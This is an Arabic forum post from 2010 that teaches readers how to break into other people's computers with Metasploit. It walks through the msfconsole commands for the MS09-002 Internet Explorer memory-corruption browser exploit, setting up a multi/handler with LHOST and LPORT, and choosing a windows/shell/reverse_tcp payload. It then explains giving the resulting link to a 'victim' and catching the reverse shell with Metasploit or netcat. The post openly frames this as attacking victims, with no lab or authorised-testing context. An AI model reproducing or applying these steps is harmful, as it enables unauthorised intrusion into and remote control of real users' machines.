03-10-2010
|
رقم المشاركة : 1 (permalink)
|
|
|
الميتـا والمتصفـح ...والاختــراق بثغرات المتصفح
بســـم الله الرحمــن الرحيـم
الســـلام عليـــكم ورحمــة الله وبــــركــاتة ,,, كيــــفكم اخوانــي واخواتي في الصاعقة انشاء الله انكم
بخيـر ...
اليوم معــي لكـــم موضوع بسيــــــط جــدا وخفيــف ,,, عنوان الموضوع : المتصفح والميتـآآ
في البدآآية ..
انتشــر في ايــامنا هــذي بــرامج الاختــراق ,, وتكوين الســيرفر للاختراق ,.والدمج والتلغيــم ,,
والتشفيــر ,,وتلغيـم الصفحــات وغيـرهـآآ من اخــتراقات واســاليب الاختــراقات العشــوائيــة ,,
فقــاموا النـاس يتعلمون ,, لهذي الاســاليب .بدأو يتباهو به وكل واحد يحط بتوقيعه كم ضحية عنده
وتباهو بأنهم يعرفو يشفرو السيرفر وما يخلوه ينكشف من النود والكــاسبر ودعــس القيــمة جيــن
انا ماعارضكــم اخوانــي واخواتــي ,, في الشــي هــذاآآ بس لانـه بحد ذاتة الشي هذا انجاز كبير ورائــع لكن حاب اذكركـم بشــي ..
>>>لكن الاشخاص الي كذا ماتقدموا بشــي تتدرون لــيش ,, كل ما في الموضوع ان مبرمج صنع برنامج
ينتج سيرفر تحكم عن بعد وانتــم عرفتوا البرنامج وعرفتم طريقة تشفيــر السيرفر
(مع العلم انه المبرمج بنفسة دامج البرنامج )
وآحنــا نسيــنا شــي مهــم ..الـي هو الإختراق المستهدف ونسو الثغرات والبفر والفيض وغير ذلك اللي تخليك تخترق بدون ارسال أي شي
وانتم عــارفيــن ان للاانظمة ثغرات ,,,. واحنا لازم نستغــلهــا ,, ماعليــنا
نرجع للموضوع .. بــس هذا للتذكيــر
اليوم باشــرح لكم فــكرة بسيــطة الي هــي كيــف تسوي بايلود ..؟ زي ماتقولوا ؟؟ رابط انت تعمله بثغرة متصفح في الميتــا سبولت .. وتتصل مع الضحيـــة ..
تابعوا معــي ..
انشــاء الله الموضع سهــل ومافيــة اي شي ..
نفتح metasploit v3.3
طيب كيــف تعــرف انهــا ثغــرة متصــفح .. يكون التبويــب تبعــهاآآ browser
انا مثــلأا راح استخــدم الثغـــرة هـــذي ,,
msf > use windows/browser/ms09_002_memory_corruption
طيب عنــد استغــلال اي ثغــرة .. نكــت use قبــل الاستغــلال
طيب اذا تبــغـى تعــرف خيــارات الثغـــرة تضغـــط info
الان نختــار show payloads انـت اختــار بـايلود ... المقصود صنع ملف تنفيــذي
طيب تشوفــوا الان هذي متطلــبات لابــد منهــا
للتنصــت >>>>use multi/handler
set LPORT >> البورت تبــعك ..
set lHOST>>> الايبــي ادرس تبــعك
هنا البــايلود>>>> set payload windows/shell/reverse_tcp
exploit >>>> الان استغــلال
ومو شــرط .. علــى حســب البـأيلود الــي عنــدك ,,,, مثــلا :
البــايند لايحتــاج الا الايبي تبعــك ,, بينمــا ,, العكــسي .. بحــاجه الى الايبي تبعــك
الان احظنا نفس خيارات البايلود .. الأن ننتظر حتى الضحية يفتح الملف يعني بعـد الانتهــاء راح ينشـى لك رابــط تعطي الضحيــة
انتظروا حتى الضحية فتح البايلود..وشبكنا إتصال عكسي مع الدوس ونتصنــت عليــة بالميــتا او النت كــات
وملاحظة \\ يمكن استخدام بايلود تانيةاخــر وبايند وريفرس يعني باالامكــان استخــدام النـت كـات او الاف ان سـي
يعني مشــابة لكــذا
الحمد لله انتهــى الشرح اشوفكم فــي موضوع اخر ,, ســـــــــلام
التعديل الأخير تم بواسطة ALQAYSAR ; 03-10-2010 الساعة 07:40 AM .
|
|
|
|
